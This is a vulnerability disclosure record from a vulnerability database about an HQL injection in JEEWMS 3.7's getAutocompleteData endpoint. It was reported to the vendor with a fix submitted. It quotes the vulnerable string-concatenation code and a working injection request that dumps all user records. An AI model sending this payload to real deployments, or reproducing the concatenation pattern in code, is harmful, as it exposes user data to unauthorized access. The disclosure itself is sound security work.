| Title | https://github.com/erzhongxmu/JEEWMS JEEWMS 3.7 SQL Injection |
|---|
| Description | JEEWMS v3.7 contains a SQL injection vulnerability in the getAutocompleteData method of JeecgFormDemoController.java.
The vulnerable code at line 195-197 directly concatenates user input into HQL:
String searchVal = request.getParameter("searchVal");
String hql = "from TSUser where userName like '%" + searchVal + "%'";
List autoList = systemService.findHql(hql);
An authenticated attacker can inject HQL via the searchVal parameter:
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=admin (normal)
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=' or 1=1 or userName like ' (injection - returns all users)
The issue has been reported to the vendor and a fix PR has been submitted: https://github.com/erzhongxmu/JEEWMS/pull/4 |
|---|
| Source | ⚠️ https://github.com/Lib0gus/JeeWMS/security/advisories/GHSA-mc7c-w398-v7xp |
|---|
| User | Lib0gus (UID 101005) |
|---|
| Submission | 09/04/2026 03:37 (2 months ago) |
|---|
| Moderation | 10/10/2026 23:29 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416392 [erzhongxmu Jeewms up to 3.7 Autocomplete Data JeecgFormDemoController.java getTreeData searchVal sql injection] |
|---|
| Points | 20 |
|---|